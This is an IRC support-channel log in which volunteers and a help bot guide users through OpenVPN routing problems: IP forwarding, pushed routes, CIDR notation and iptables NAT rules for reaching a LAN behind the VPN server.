07:26 < SupaYoshi> Can somebody please help me out on these things? Help would be much appriciated I read about bridging and that might be neccsary or something, or something else, about gateways being involved in the openvpn.conf or something else, however since I am not quite sure what's going on I'd like to ask here at you guys :)
07:27 < rob0> SupaYoshi, this is the client LAN?
07:27 < SupaYoshi> rob0, I am trying to connect with the client to the server lan.
07:27 < rob0> !serverlan
07:27 <@vpnHelper> "serverlan" is (#1) for a lan behind a server, the server must have ip forwarding enabled (!ipforward), the server needs to push a route for its lan to clients, and the router of the lan the server is on needs a route added to it (!route_outside_openvpn) or (#2) see !route for a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/serverlan.png |
07:27 <@vpnHelper> http://pekster.sdf.org/misc/serverlan.png
07:27 < rob0> Use the flowchart.
07:27 < SupaYoshi> Ive enabled ipforwarding I think rob0
07:28 < SupaYoshi> with that one command, hold on let me look it up.
07:28 < SupaYoshi> echo 1 > /proc/sys/net/ipv4/ip_forward
07:28 < SupaYoshi> Do you want me to follow the flowchart rob0?
07:29 -!- MariusIT [~MariusIT@91.201.195.240] has joined #openvpn
07:33 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has joined #openvpn
07:35 < derRichard> plai: udplite transport should be doable. /me waits for a rainy weekend to make it happen ;)
07:39 < SupaYoshi> dear rob0, in my server.conf there is a rule stated: ;push "route 192.168.10.0 255.255.255.0"
07:39 < SupaYoshi> and another one like this, however there is a ; infront of it? Is it harmless, because according to the flowchart, it stated that i should add such a line to it with different ips, but not with the ;. does the ; mean its commented out like #?
07:41 < Eugene> !comment
07:41 <@vpnHelper> "comment" is you can use ; or # to make comments in the config file
07:41 < SupaYoshi> Eugene: tyvm
07:41 < Dark_Apostrophe> Eugene: It was a firewall issue, I gots a connection!
07:41 < Eugene> /topic ;-)
07:41 < Dark_Apostrophe> However, no bridging from the 10.8.x.x virtual adapter to the actual network :(
07:41 < Eugene> Don't bridge. Route.
07:41 < Eugene> !route
07:41 < Dark_Apostrophe> Routing, my bad.
07:41 <@vpnHelper> "route" is (#1) http://www.secure-computing.net/wiki/index.php/OpenVPN/Routing or https://community.openvpn.net/openvpn/wiki/RoutedLans (same page mirrored) if you have lans behind openvpn, read it DONT SKIM IT or (#2) READ IT DONT SKIM IT! or (#3) See !tcpip for more info about a more basic networking guide or (#4) See !serverlan or !clientlan for steps and troubleshooting flowcharts for LANs
07:41 <@vpnHelper> behind the server or client
07:42 < Eugene> I'm guessing you need a route on the gateway box or !nathack for that LAN
07:42 < Eugene> !route_outside_ovpn
07:42 <@vpnHelper> "route_outside_ovpn" is "route_outside_openvpn" is (#1) If your server is not the default gateway for the LAN, you will need to add routes to your gateway. See ROUTES TO ADD OUTSIDE OPENVPN in !route or (#2) Here are 2 diagrams that explain how this works: http://www.secure-computing.net/wiki/index.php/Graph http://i.imgur.com/BM9r1.png
07:43 < SupaYoshi> Hey i think i've made a mistake in my config, my VPN server is no longer starting, how do I find the error in the config?
07:43 < Eugene> Look at the output?
07:44 < SupaYoshi> where is the openvpn log again? /var/log/openvpn?
07:44 < SupaYoshi> i dont see it there
07:44 < Eugene> Wherever you put it; default is stdout or syslog(if --daemon)
07:45 < SupaYoshi> got it
07:48 -!- wallbroken [~wallbroke@151.56.231.100] has joined #openvpn
07:48 < Dark_Apostrophe> Eugene: How would iroute apply to a laptop, being occasionally within the network it's designed to VPN to? (I mean, if the user forgets to disable VPN before arriving)
07:48 < Eugene> You'd be interested only in the "behind server" bit.
07:49 < Dark_Apostrophe> Could you be more specific? I don't see which part that is
07:49 < wallbroken> hello
07:51 < SupaYoshi> okay this is quite odd, im getting the error Cannot open dh1024.pem -> no such file or directory but the file is in /etc/openvpn/keys
07:51 <@ecrist> good morning
07:51 < SupaYoshi> Good morning :)
07:52 < Dark_Apostrophe> Wait, I think I might have it
07:53 < Eugene> Good, cuz it ain't that complicated to begin with
07:53 < wallbroken>        --ifconfig l rn
07:53 < wallbroken> For TUN devices, rn is the  IP  address  of the remote VPN endpoint.
07:53 < wallbroken> that's always true?
07:53 < SupaYoshi> nvm guys i understand whats goin on now ><
07:53 < Eugene> Don't use --ifconfig; use --server and --client.
07:53 < SupaYoshi> its reading the files from /etc/openvpn/ (certificates) which is quite stupid.
07:54 < Eugene> Manually defining IP addrs on each client is a recipe for pain
07:54 < wallbroken> yes, sure, i'm only trying to understand how this parameter works :)
07:54 < Eugene> SupaYoshi - It's reading them from the Current Directory, which is set to /etc/openvpn/ by most init scripts. See hte --cd directive.
07:55 < Eugene> It's not THAT hard to say --ca keys/ca.crt
07:56 < SupaYoshi> Eugene, fixed that
07:56 < wallbroken> plugin /usr/lib/openvpn/openvpn-auth-pam.so "openvpn"
07:57 < wallbroken> it's a good script to provide authentication?
07:57 -!- Dark_Apostrophe [~Dark_Apos@unaffiliated/darkapostrophe/x-0983214] has quit [Ping timeout: 256 seconds]
07:58 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Ping timeout: 264 seconds]
07:58 < SupaYoshi> hey guys, im to the flowchart layer 2 from above. Turn on ip forwarding or fix ip forwarding in your firewall
07:58 < SupaYoshi> Do you guys mean the firewall on the VPN server box?
07:58 -!- Dark_Apostrophe [~Dark_Apos@195.204.16.109] has joined #openvpn
07:59 < SupaYoshi> Cus i already portforwarded my lan firewall. so its probally a doh. but just to make sure, could i use these lines to fix that?
07:59 < SupaYoshi> iptables -t nat -A INPUT -i eth0 -p udp -m udp --dport 1194 -j ACCEPT and iptables -t nat -A POSTROUTING -s 10.8.0.0/24 -o eth0 -j SNAT --to-source MYSERVER.LAN.IP.ADDRESS
08:00 -!- takamichi [~takamichi@217.23.15.212] has joined #openvpn
08:02 -!- SupYoshi [SupaYoshi@ip4da5d319.direct-adsl.nl] has joined #openvpn
08:02 < SupYoshi> Oops back
08:02 < SupYoshi> did anyone say something?
08:02 -!- Cygor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has joined #openvpn
08:03 -!- SupaYoshi [SupaYoshi@ip4da5d319.direct-adsl.nl] has quit [Ping timeout: 240 seconds]
08:05 < Eugene> Nope.
08:06 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has quit [Ping timeout: 276 seconds]
08:06 < SupYoshi> Ive added these rules to /etc/rc.local, but it didnt work, sorry im just following a guide..
08:06 < SupYoshi> How would I be advised to enable ip forwarding beacuse I cannot ping my internal LAN address of the OpenVPN server.
08:07 < SupYoshi> However I can ping the VPN ip of the server. and I gave the clients a route to the server lan in the server.conf
08:07 < wallbroken> !auth
08:07 < wallbroken> !authentication
08:08 < wallbroken> !botwakeup!
08:08 < SupYoshi> lol o.o
08:08 < SupYoshi> !botwakeup
08:08 < SupYoshi> !botwakeup!
08:11 < Dark_Apostrophe> If I have these settings in the config, should clients (in 10.8.x.x) be able to talk to stuff in 10.1.1.x ( ; means line break)? server 10.8.0.0 255.255.255.0; push "route 10.1.1.0 255.255.255.0"
08:11 < Dark_Apostrophe> Or do I need anything more?
08:12 < Dark_Apostrophe> I guess, maybe route 10.1.1.0 255.255.255.0?
08:13 -!- Rallias [~rallias@unaffiliated/gasseus] has quit [Ping timeout: 245 seconds]
08:13 < SupYoshi> ah i see ipforwarding was off my in my server lets see what happens now ;3
08:15 < SupYoshi> ah after reboot ip forwarding gets turn off
08:17 < rob0> You'll probably want to spend some time in your distro's documentation.
08:17 -!- Dark_Apostrophe [~Dark_Apos@195.204.16.109] has quit [Ping timeout: 253 seconds]
08:17 < adac> I'm note really sure on how to test if my vpn server is reachable. when i start de opevpn cleint with the config file then at some point it just hangs. Here is the output of the client: https://gist.github.com/anonymous/6463669
08:17 <@vpnHelper> Title: gist:6463669 (at gist.github.com)
08:17 < SupYoshi> I am learning more of that everyday , ;) alraedy found it :3 I read by practice hehe, otherwise I can tplace it.
08:20 -!- Dark_Apostrophe [~Dark_Apos@unaffiliated/darkapostrophe/x-0983214] has joined #openvpn
08:20 < SupYoshi> Okay this is just odd... I have cat /proc/sys/net/ipv4/ip_forward = 1... however I still cant reach my server / ping it by the internal IP.
08:21 < Dark_Apostrophe> Still can't get routing client-(LAN behind server) to work
08:21 < SupYoshi> And I have added a route for the clients in server.conf for a route to the lan...
08:21 < SupYoshi> Push "route 10.10.10.0 255.255.255.0" has been added to my server.conf, or is this a different one. since my IP is 10.8.0.x
08:21 < SupYoshi> should i change the push route to that?
08:22 < Dark_Apostrophe> Eugene: Will you please clarify what I need to do in order to establish routing between the OVPN clients and the network behind the server?
08:22 < SupYoshi> Dark_Apostrophe, i believe you have to follow theyre flowchart at first.
08:22 < Eugene> !server_lan
08:22 < SupYoshi> And then see which point you are stuck.
08:23 < Eugene> !serverlan
08:23 < SupYoshi> http://pekster.sdf.org/misc/serverlan.png
08:23 <@vpnHelper> "serverlan" is (#1) for a lan behind a server, the server must have ip forwarding enabled (!ipforward), the server needs to push a route for its lan to clients, and the router of the lan the server is on needs a route added to it (!route_outside_openvpn) or (#2) see !route for a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/serverlan.png |
08:23 <@vpnHelper> http://pekster.sdf.org/misc/serverlan.png
08:23 < Eugene> Follow ze chart ^
08:23 < Dark_Apostrophe> !route_outside_vpn
08:23 < SupYoshi> Eugene, can you tell me what Im doing wrong in the process?
08:24 < SupYoshi> I cannot ping the lan ip of my openvpn server, however i can ping the vpn address.
08:24 < Eugene> Firewall?
08:24 < SupYoshi> ip forwarding is enabled. should it be the push route that is wrong? Or something else?
08:24 < Eugene> `iptables-save` & pastebin
08:24 < SupYoshi> im not sure. probally not..
08:24 < SupYoshi> ok ty.
08:24 < Eugene> Also your server config
08:24 < wallbroken> Eugene, what the command for getting help about authentication from the bot?
08:24 < Eugene> !factoids
08:24 <@vpnHelper> "factoids" is A semi-regularly updated dump of factoids database is available at http://www.secure-computing.net/factoids.php
08:25 < Eugene> !botsnack
08:25 <@vpnHelper> "botsnack" is Om nom nom!
08:25 < SupYoshi> http://pastebin.com/6qKLpEcz
08:25 < Dark_Apostrophe> Eugene: Everything -seems- like it should be in order. I enabled IP forwarding, I do have a push "route 10.1.1.0 255.255.255.0" option in the config, but when I connect, I'm not able to connect to 10.1.1.x
08:25 < wallbroken> !googleauth
08:25 <@vpnHelper> "googleauth" is http://securityskittles.wordpress.com/2012/03/14/two-factor-authentication-for-openvpn-on-centos-using-google-authenticator/
08:25 < Dark_Apostrophe> I guess it's the third diamond-box in the flowchart
08:26 < Eugene> Well follow it on down ;-)
08:26 < Dark_Apostrophe> Heh, tried... I'll go again. I'll probably be disconnected from here
08:27 < SupYoshi> Btw, Eugene, this is my server.conf stating from what Dark_Apostrophe is doing, http://pastebin.com/r1kTXeBX
08:27 < Eugene> Grawr, comments.
08:27 < Eugene> !comment
08:27 <@vpnHelper> "comment" is you can use ; or # to make comments in the config file
08:27 < Eugene> Er
08:27 < Eugene> !configs
08:27 < SupYoshi> I need to change 10.10.10.0 in 10.8.0.0 in the pushroute
08:27 <@vpnHelper> "configs" is (#1) please pastebin your client and server configs (with comments removed, you can use `grep -vE '^#|^;|^$' server.conf`), also include which OS and version of openvpn. or (#2) dont forget to include any ccd entries or (#3) on pfSense, see http://www.secure-computing.net/wiki/index.php/OpenVPN/pfSense to obtain your config
08:27 < Eugene> grep is your friend
08:28 < SupYoshi> http://pastebin.com/97CBHLVw
08:29 < Dark_Apostrophe> SupYoshi: Except, my network is 10.1.1.x, though it seems pretty much like what I did
08:29 < Eugene> And your server's LAN IP is indeed under 10.10.10.0/24 ?
08:29 < SupYoshi> No. My server lan is under 192.168.2.x
08:29 < SupYoshi> 192.168.2.0/24? i suppose
08:29 < Eugene> Well there you go.
08:29 < Dark_Apostrophe> Mine or SupYoshi's?
08:29 < Dark_Apostrophe> Mine is at 10.1.1.22
08:29 < Eugene> You're pushing a route for the wrong subnet.
08:30 < Dark_Apostrophe> Oh?
08:30 < SupYoshi> Eugene, thanks! ;) Hey I got a guestion about the /24 /32 etc. is there a good guide / article on that?
08:30 < Eugene> If you're trying to ping 192.168.2.x, but pushing a route for 10.10.10.x, ya ain't gonna get far
08:30 < SupYoshi> Ive never understood that...
08:30 < Eugene> !cidr
08:30 <@vpnHelper> "cidr" is http://www.oav.net/mirrors/cidr.html
08:30 < SupYoshi> I mean my router can assign 254 addresses.
08:30 < SupYoshi> so how do I do the maths?
08:30 < Dark_Apostrophe> Oh, you're talking to SupYoshi
08:30 < Eugene> Indeed I am.
08:30 < SupYoshi> ty! awesome
08:31 < Eugene> The short version is 256 = 8 bits. You start at 0 and go tto 255. The first address(.0) is reserved, as is the last one(255). This gives you 254 usable, minus .1 for the gateway(typically).
08:31 < Eugene> Where it gets funny is things like /28
08:31 < SupYoshi> ahhh i see :D hah!
08:31 < SupYoshi> Well my router is weird (ISP) it also reserves .253 for spying
08:32 < SupYoshi> probally. :P
08:32 < SupYoshi> Eugene, now I have this. push "route 192.168.2.0 255.255.255.0" is that better?
08:32 < SupYoshi> Or should i add the /24?
08:32 < Eugene> Just like that
08:32 < Eugene> 255.255.255.0 is another way of saying /24
08:32 < Eugene> See the conversion table linked ;-)
08:32 < SupYoshi> ah tahnks!
08:32 < SupYoshi> hehehe
08:32 < Eugene> It's just a shittier way, because it's long
08:33 < SupYoshi> blehhh
08:33 < SupYoshi> it still doesnt work ><
08:33 < SupYoshi> Ping times out to the internal IP of the server.
08:33 < Eugene> Restart the client/server?
08:33 < SupYoshi> I restarted the server :P
08:33 < SupYoshi> And reconnected on the client.
08:33 < Eugene> Dark_Apostrophe - for you..... you can ping the server's LAN address, correct?
08:34 < Eugene> Dark_Apostrophe - then it's purely routing. !nathack or !route_outside ovpn; per the handy diagrams from either of those factoids
08:34 < Dark_Apostrophe> No
08:34 < Eugene> Oh, well, then it's the same problem, but different addresses.
08:34 < Dark_Apostrophe> I can connect to it from the WAN, and my client gets a 10.8.x.x IP
08:34 < SupYoshi> I think we are both facing the same issue :P
08:34 < Dark_Apostrophe> But that's as far as I've gotten
08:34 < Dark_Apostrophe> Seems so
08:34 < SupYoshi> Dark_Apostrophe, same here. ;)
08:34 < Eugene> Windows server, you said?
08:34 < SupYoshi> I can also ping the server on the 10.8.0.1
08:34 < Dark_Apostrophe> Yup
08:34 < SupYoshi> <_< Ubuntu Server 12.04
08:35 < Eugene> I have absolutely no fucking idea how to enable IP forwarding on that. Good luck!
08:35 < Dark_Apostrophe> SupYoshi: I can't
08:35 < Eugene> SupYoshi - make sure that you /proc/ thing is still there after a reboot
08:35 < SupYoshi> Dark_Apostrophe, thats just odd.. ><
08:35 -!- adac [~adac@chello080109174123.tirol.surfer.at] has quit [Quit: Leaving]
08:36 < SupYoshi> Eugene, i made sure it is. ;) I also did cat /proc/sys
08:36 < Dark_Apostrophe> http://support.microsoft.com/kb/323339 <-- Already done that
08:36 <@vpnHelper> Title: How To Enable TCP/IP Forwarding in Windows Server 2003 (at support.microsoft.com)
08:36 < Eugene> !windows
08:36 < SupYoshi> root@HOMESRV:/etc/openvpn# cat /proc/sys/net/ipv4/ip_forward = 1
08:36 <@vpnHelper> "windows" is (#1) computers are like air conditioners, they work well until you open windows. or (#2) http://secure-computing.net/files/windows.jpg for funny or (#3) http://secure-computing.net/files/windows_2.jpg for more funny
08:36 < Eugene> I refuse to understand Windows networking. Sorry.
08:36 < Eugene> Hm. `iptables-save` & pastebin>?
08:36 < SupYoshi> lmao. but windows networking is also important but due the GUI usually more complex ive noticed in a transition in the past 2 yrs.
08:37 -!- takamichi [~takamichi@217.23.15.212] has quit [Read error: Operation timed out]
08:37 < SupYoshi> iptables-save = empty
08:37 < SupYoshi> see my earlier pastebin ;)
08:37 < Eugene> Still relevant
08:37 < Eugene> Even empty
08:37 < SupYoshi> root@HOMESRV:/etc/openvpn# cat /proc/sys/net/ipv4/ip_forward
08:37 < SupYoshi> 1
08:37 < Eugene> Meh, don't make me scroll up
08:37 < SupYoshi> http://pastebin.com/6qKLpEcz
08:37 < SupYoshi> I have already :P smh lol
08:37 < Eugene> Totally empty. Oh dear.
08:37 < Eugene> What sort of machine is this?
08:37 < SupYoshi> :P A home server.
08:38 < SupYoshi> >< Lol...
08:38 < Eugene> An actual physical box, though? Not a VM?
08:38 < SupYoshi> I just intsalled it yesterday..
08:38 < SupYoshi> yes Physical box.
08:38 < SupYoshi> HP Microserver Prioliant. :3 N54L
08:38 < SupYoshi> >< its bad huh doctor? :P
08:38 < Dark_Apostrophe> MULTI: bad source address from client [¨è"], packet dropped
08:38 < Dark_Apostrophe> Guess I do need the iroute stuff
08:39 < Eugene> How about `iptables -L && iptables -L -t nat` ?
08:39 < SupYoshi> http://pastebin.com/b0uk7g1r
08:39 < SupYoshi> That gives more stuff ;)
08:39 < Eugene> ACCEPT all the way down. Hrm.
08:39 < Eugene> Fukken Ubuntu.
08:40 < Eugene> Client log, for shits 'n giggles?
08:40 < SupYoshi> XD what what?
08:40 < SupYoshi> sure hold on
08:40 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
08:40 < SupYoshi> any vurn. personal info in these logs?
08:41 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has quit [Ping timeout: 245 seconds]
08:41 < Eugene> Nothing we can exploit without your certs.
08:44 < SupYoshi> http://pastebin.com/EgbC0nWA
08:44 < SupYoshi> pff that was work..
08:44 < Eugene> Hm. Route addition did succeed.....
08:45 < Eugene> So presumably the packets are going down the tunnel
08:45 < Eugene> This is where I throw my hands in the air and blame it on Ubuntu.
08:45 < SupYoshi> <_<
08:45 -!- JPeterson [~JPeterson@81-233-152-121-no83.tbcn.telia.com] has quit [Read error: Connection reset by peer]
08:45 < SupYoshi> Nuuuuuhhh
08:45 < Eugene> Because it's ALWAYS goddamned Ubuntu.
08:45 < SupYoshi> XD wtf man. this is a puzzle :3 lets solve it. :3
08:46 < SupYoshi> xD I can even access the SAMBA shares from 10.8.0.1 (openvpn server)
08:46 < SupYoshi> However i cannot ping lets say... 192.168.2.14
08:46 < SupYoshi> or the address of the server. :)
08:47 < SupYoshi> So somewhere something is going wrong... hehe. :3
08:47 -!- JPeterson [~JPeterson@81-233-152-121-no83.tbcn.telia.com] has joined #openvpn
08:48 -!- JPeterson [~JPeterson@81-233-152-121-no83.tbcn.telia.com] has quit [Excess Flood]
08:49 -!- JPeterson [~JPeterson@81-233-152-121-no83.tbcn.telia.com] has joined #openvpn
08:50 -!- JPeterson [~JPeterson@81-233-152-121-no83.tbcn.telia.com] has quit [Excess Flood]
08:50 -!- adac [~adac@chello080109174123.tirol.surfer.at] has joined #openvpn
08:51 -!- JPeterson [~JPeterson@81-233-152-121-no83.tbcn.telia.com] has joined #openvpn
08:52 < SupYoshi> Hey Eugene, could it have to do with the gateway being redirected? Its not curerntly
08:52 < Eugene> Oughta work as it is, unless I'm missing something fundamental.
08:52 < Eugene> In any case, I'm off for errands etc
08:52 < Eugene> Good luck!
08:53 < Dark_Apostrophe> I'm also done for the day, thanks for all assistance, folks :)
08:53 -!- Dark_Apostrophe [~Dark_Apos@unaffiliated/darkapostrophe/x-0983214] has quit [Quit: Ciao]
08:53 < wallbroken> Eugene, is there a way to specify ccd entries directly in server.conf instead of creating <dir>/common-name ?
08:53 < wallbroken> in a sort of XML mode
08:54 < Eugene> No.
09:01 -!- map [~Mark@94-193-78-219.zone7.bethere.co.uk] has joined #openvpn
09:01 -!- Devastator [~devas@unaffiliated/devastator] has quit [Read error: Connection reset by peer]
09:01 -!- Devastator [~devas@186.214.15.244] has joined #openvpn
09:01 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has joined #openvpn
09:02 < defswork> SupYoshi, is the openvpn server the default gateway for all the clients on the lan ?
09:02 < SupYoshi> defswork, I aint sure.
09:02 < SupYoshi> When i do ipconfig in Windows, when connected to the OpeNVPN server. from the client.
09:02 < defswork> SupYoshi, if it's not it either a) should be or b) you need a route to the openvpn client's subnet on your default gateway
09:02 < SupYoshi> I get no gateway
09:03 < defswork> SupYoshi, ignore client for now
09:03 < defswork> this is your LAN
09:03 < SupYoshi> Ah i see ;)
09:03 < SupYoshi> Thanks for the help defswork
09:03 < defswork> A == LAN B == SERVER C == VPN CLIENTS
09:03 < defswork> for A to see C it must know to route via B
09:03 < SupYoshi> The OpenVPN server is NOT the default gateway for the clients on the LAN>
09:04 < defswork> so nothing on your lan knows how to reply to vpn clients
09:04 < defswork> unless you SNAT the vpn clients
09:04 < SupYoshi> The default gateway is my router from my ISP.
09:04 < SupYoshi> I suppose so yeah... =/
09:04 < SupYoshi> So how would I be supposed to do so? :D
09:04 -!- mapito [~Mark@94-193-78-219.zone7.bethere.co.uk] has quit [Ping timeout: 276 seconds]
09:05 < SupYoshi> Is this something I need to setup in my ISP router? Or something I need to setup in my OpenVPN clients config?
09:05 < defswork> either SNAT vpn clients to a local IP address
09:05 -!- Cygor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has quit [Ping timeout: 276 seconds]
09:05 < defswork> or add a route on your router
09:05 < defswork> or add the route to all LAN machines
09:05 < SupYoshi> The second option is impossible. =/ and so is the third. that would be annoying.
09:05 < defswork> I'd set the default route to be the VPN server
09:06 < SupYoshi> MY ISP is n00b friendly and doesnt even allow you to change the DNS server inside of it.
09:06 < defswork> and allow lan to internet forwarding
09:06 < SupYoshi> Your suggesting to change the default route inside my router?
09:06 < defswork> in it's DHCP settings
09:06 < SupYoshi> Or are you suggesting to change something inside the OpenVPN server now?
09:07 < SupYoshi> Are you familiar with the so called Experiabox? :P
09:07 < SupYoshi> Fail => http://prntscr.com/1po7lg
09:07 <@vpnHelper> Title: Screenshot by Lightshot (at prntscr.com)
09:09 < SupYoshi> See?
09:10 < SupYoshi> Anyway, Id like to do the first option $NAT my VPN clients in that case? is that possible by any change?
09:24 < SupYoshi> Please help before I am forced to do a dirty NAt http://www.nimlabs.org/dirtynat.html :p
09:24 <@vpnHelper> Title: NAT tricks for VPN with clients in private address ranges (at www.nimlabs.org)
09:25 < SupYoshi> if that even works for me
09:25 < SupYoshi> I dont kno how to $nat my clients.
09:25 -!- wrale [~wrale@wrk-28-217.cs.wright.edu] has quit [Quit: Leaving]
09:35 < SupYoshi> defswork?
09:37 -!- mikkel [~mikkel@80-199-146-42-static.dk.customer.tdc.net] has quit [Quit: Leaving]
09:38 -!- Devastator [~devas@186.214.15.244] has quit [Changing host]
09:38 -!- Devastator [~devas@unaffiliated/devastator] has joined #openvpn
09:53 < SupYoshi> So anyone here knowing how I $nat my network?
09:56 <@ecrist> what OS?
09:57 -!- map [~Mark@94-193-78-219.zone7.bethere.co.uk] has quit [Ping timeout: 248 seconds]
10:01 -!- SupYoshi [SupaYoshi@ip4da5d319.direct-adsl.nl] has quit []
10:04 -!- SupaYoshi [SupaYoshi@ip4da5d319.direct-adsl.nl] has joined #openvpn
10:04 < SupaYoshi> back
10:07 < SupaYoshi> anyone an idea who might be able to help me with the issue? ^
10:09 <@ecrist> I asked you what OS
10:09 -!- HyperGlide [~HyperGlid@222.211.124.117] has joined #openvpn
10:09 < SupaYoshi> Ubuntu Server 12.04 LTS
10:10 < SupaYoshi> sorry rebooted
10:10 < SupaYoshi> omg i fixed it!1
10:11 <@ecrist> congrats
10:11 <@ecrist> glad I could help. :)
10:14 < SupaYoshi> :D hah
10:14 < SupaYoshi> iptables -t nat -A POSTROUTING -s 10.8.0.0/24 ! -d 10.8.0.0/24 -o eth0 -j MASQUERADE
10:14 < SupaYoshi> @Eugine, next time anyone having that issue let em do that ;)
10:14 < defswork> MASQ ?
10:14 < defswork> surely you need SNAT
10:15 < defswork> MASQ is for nics with dynamic addresses isnt it ?
10:15 < rob0> eww
10:15 <@ecrist> !linnat
10:15 <@vpnHelper> "linnat" is (#1) for a basic iptables NAT where 10.8.0.x is the vpn network: iptables -t nat -I POSTROUTING -s 10.8.0.0/24 -o eth0 -j MASQUERADE or (#2) to choose what IP address to NAT as, you can use iptables -t nat -I POSTROUTING -o eth0 -j SNAT --to <IP ADDRESS> or (#3) http://netfilter.org/documentation/HOWTO//NAT-HOWTO.html for more info or (#4) openvz see !openvzlinnat
10:15 <@ecrist> :)
10:15 < defswork> you should be SNATing to the IP of the internal NIC
10:16 < defswork> personally in a company env. I'd avoid SNATing vpn clients if poss and route always
10:17 < defswork> you lose audit/tracing
10:19 < rob0> SNAT (including MASQUERADE) is for routing RFC1918 networks to the Internet. DNAT is for routing Internet traffic to RFC1918 hosts. Anything else: YDIW.
10:20 < SupaYoshi> Wait WAit Wait
10:21 < SupaYoshi> I dunt get anything of what you guys just said...
10:21 < SupaYoshi> What do you guys mean ><<
10:22 -!- raidz_away is now known as raidz
10:24 < SupaYoshi> Can you guys please explain it in a bit more newbie language ;)
10:25 < havoc> SupaYoshi: http://en.wikipedia.org/wiki/Network_address_translation#DNAT
10:25 <@vpnHelper> Title: Network address translation - Wikipedia, the free encyclopedia (at en.wikipedia.org)
10:25 < SupaYoshi> My NIC inside the OpenVPN server is getting a dynamic address of the router...
10:26 -!- backjlack [~quassel@unaffiliated/backjlack] has joined #openvpn
10:26 < SupaYoshi> Oh that doesnt sound good..
10:28 < SupaYoshi> Hey so..
10:29 < SupaYoshi> If i understand this correctly I should do this line with the IP of the openVPN server correct? And this has nothing to do with my ROUTER?
10:29 < SupaYoshi> iptables -t nat -I POSTROUTING -o eth0 -j SNAT --to 192.168.2.3
10:29 < SupaYoshi> is that correct?
10:33 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-xrpzedroqnuvvter] has joined #openvpn
10:57 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
11:11 <+pekster> If you're trying to avoid setting up a proper return-route, that looks right
11:11 <+pekster> (but wouldn't you rather route properly?)
11:12 < SupaYoshi> Ah hey! I got a bit further. I was in denial earlier beacuse I wansnt paying attention...
11:12 < SupaYoshi> http://pekster.sdf.org/misc/serverlan.png
11:13 < SupaYoshi> I am in the stadium, where I ping the server IP on the LAN. However I cannot ping ANOTHER machine in the LAN, and I have NO access to the router.
11:13 < SupaYoshi> But I am in question what does "target machine mean"
11:13 <+pekster> You're probably missing a return route
11:14 <+pekster> Did you add a return route for the VPN network to the router that acts as the server-side-LAN's default gateway?
11:14 < SupaYoshi> http://prntscr.com/1povrw
11:14 <@vpnHelper> Title: Screenshot by Lightshot (at prntscr.com)
11:14 <+pekster> And does this gateway allow the return traffic through its own firewall
11:14 <+pekster> huh? You don't have acces to the LAN router?
11:14 < SupaYoshi> Oh wait wait xD
11:15 < SupaYoshi> I thought that question was stated, -> Do you have access to the LAN router from over the VPN tunnel
11:15 < SupaYoshi> So it says in this scheme, that I have to add a route to the router...
11:15 < SupaYoshi> Well here is my dillema dear +pekster
11:15 < SupaYoshi> My router is an ISP router, that does not allow me to do such fancy things.
11:16 <+pekster> Put your own directly behind it
11:16 < SupaYoshi> I have a router behind it yes, but thats just working as a access point.
11:16 <+pekster> Otherwise yes, you're in SOL land and you must either 1) add return routes on every sytsem in the LAN you want to reach, or 2) SNAT the VPN range and forever loose the ability of LAN clients to know the true source
11:16 -!- Sjors [~sgielen@foo.kassala.de] has quit [Ping timeout: 264 seconds]
11:16 <+pekster> You need a router that is configured to route if you want control over your LAN
11:17 <+pekster> If you'd rather give it up, that's your choice
11:18 < SupaYoshi> +pekster, i see i see.
11:18 < SupaYoshi> So, if i give it up -> it means that all VPN packets are seen as packets from the server.
11:18 < SupaYoshi> correctly?
11:19 < SupaYoshi> And I cannot see the 10.8.0.x range where it is originally coming from?
11:19 <+pekster> Right
11:19 < SupaYoshi> Could you think with me for a second? I have a router, and behind that I have a OpenWRT TP-Link router, set up as DHCP client to the router...
11:19 -!- Sjors [~sgielen@foo.kassala.de] has joined #openvpn
11:19 <+pekster> Then just use your own device as your LAN's router as I told you
11:20 < SupaYoshi> Mhm..
11:20 < SupaYoshi> That would mean I'd have to enable DMZ on my KPN (ISP) router
11:20 < SupaYoshi> and forward all the network to there.
11:20 <+pekster> ISP routers usually support a "bridged WAN" or "bridged mode" connection where it hands the public IP to the customer-side device plugged in
11:20 < SupaYoshi> that would make my default gateway the OpeNWRT router, where I can do this...
11:20 <+pekster> If not, go yell at your ISP for being stupid
11:21 < SupaYoshi> +pekster, believe me if they did.. Yes My ISP is being stupid. worst case, my dad works there ;)
11:21 < SupaYoshi> Well not on that department, but in like wholesale, but its the same company
11:21 < SupaYoshi> They tend to make the router "user friendly" <.< well not really..
11:21 < SupaYoshi> they dont support bridging hehe ;) They rather have ZTE and Huewai spy on me :P
11:22 < SupaYoshi> jk :P anyway, i'd just give up then, because recabling everything and changing all my portforwarding and setting my openwrt router up again with dmz...
11:22 < SupaYoshi> more trouble then giving up and routing different.
11:22 < SupaYoshi> http://prntscr.com/1poxjy so I am here...
11:22 <@vpnHelper> Title: Screenshot by Lightshot (at prntscr.com)
11:23 <+pekster> The target: the IP destination
11:23 <+pekster> "Where the packet is going"
11:23 < SupaYoshi> so that is, the openvpn server?
11:23 <+pekster> I'd assume not
11:23 < SupaYoshi> ah.
11:23 <+pekster> I'd hope you can already reach the VPN server
11:23 < SupaYoshi> Yeah i can :D
11:23 < SupaYoshi> But the target machine is then? Something else?
11:24 <+pekster> Then if that's your destination, you're done
11:24 <+pekster> It works
11:24 < SupaYoshi> No :P I want to access for example my other Raspberry on 192.168.2.x
11:24 < SupaYoshi> *a raspberry
11:24 <+pekster> Well then *THAT* is your destination
11:24 < SupaYoshi> Well I dunt have access to that :(
11:24 < SupaYoshi> I ahve to use NATHACK :(
11:25 < SupaYoshi> funny thing was however... After I added this line earlier to my IPTABLES on the server... i could access that target.
11:25 <+pekster> Yes, that is the "NAT hack" being referenced
11:25 < SupaYoshi> iptables -t nat -A POSTROUTING -s 10.8.0.0/24 ! -d 10.8.0.0/24 -o eth0 -j MASQUERADE
